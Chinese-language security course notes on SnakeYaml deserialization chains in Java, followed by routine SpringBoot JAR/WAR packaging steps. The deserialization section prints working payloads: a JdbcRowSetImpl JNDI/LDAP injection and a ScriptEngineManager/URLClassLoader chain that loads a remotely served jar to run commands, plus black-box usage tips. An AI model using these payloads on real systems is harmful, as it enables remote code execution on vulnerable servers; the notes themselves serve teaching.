第52天:Web开发-JavaEE应用SpringBoot栈SnakeYaml反序列化链JARWAR构建打包
1、安全开发-JavaEE-WAR&JAR打包&反编译
2、安全开发-JavaEE-SnakeYaml反序列化&链
一、常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
二、SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.32</version>
</dependency>
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.dump():序列化将一个Java对象转化为yaml文件形式
Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;
测试总结:yaml.load()和yaml.loadas()方法进行“反序列化操作”后->都调用对象(也就是被序列化的类)的set()方法
参考:SnakeYaml反序列化分析 - F12~ - 博客园
1、URL链(自带链)即urldns链->该链价值不大
!!java.net.URL ["http://zxqnhzpdha.dgrh3.cn/"]: 1
2、JdbcRowSetImpl利用链->payload是JNDI注入->jndi受jdk版本影响->无法绕过->使用SPI机制可以绕过
以下为payload:
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://192.168.253.1:1389/bax01l9/Exploit"
autoCommit: true
3、RCE(自带链+利用SPI机制)->yaml-payload-master项目为例进行演示
下面的案例,成功利用SPI机制->绕过了JDIN注入受jdk版本限制->从而执行高危命令
https://github.com/artsploit/yaml-payload/
项目相关配置(了解即可):项目结构-工件-添加-yaml-payload-添加模块输出-构建工件
构建项目->生成yaml-payload.jar文件
javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ . //这两条命令的作用和上图一样,都是构建生成yaml-payload.jar文件用的
python -m http.server 9999
payload如下:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]
黑盒:看数据包有没有yaml文件类型的数据如下所示->无脑payload
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]] ->如果实战中数据包中的该数据格式进行了加密->那么传入payload也要先将payload加密
白盒:看是否应用了yaml依赖+是否用到了yaml.load(dump)反序列化方法+dump这个参数是否可控(用来上传payload)
三、SpringBoot-打包部署-JAR&WAR->了解即可
参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg
SpringBoot项目打包在各类系统服务器中运行:
真实情况下,Java网站启动不会向实验的那样使用IDEA来启动,而是使用jar,war包的形式来启动,所以无源码下载泄漏风险,源码泄漏也需反编译(但有时候代码进行了混淆操作,即使反编译jar包成功,也需要强大的逆向能力)
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar(java -jar xxxxxx.jar)即可运行网站,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可启动网站。
1、Jar打包
报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639
①maven-clean-package
②java -jar xxxxxx.jar
2、War打包
①pom.xml加入或修改:
<packaging>war</packaging>
②启动类里面加入配置:
public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}
③maven-clean-package
④war放置tomcat后启动